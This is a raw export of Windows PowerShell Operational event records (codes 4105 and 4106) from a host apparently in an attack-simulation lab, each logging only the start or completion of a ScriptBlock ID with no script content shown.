Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047092
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047091
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047069
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047068
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047067
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047066
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047049
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047044
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
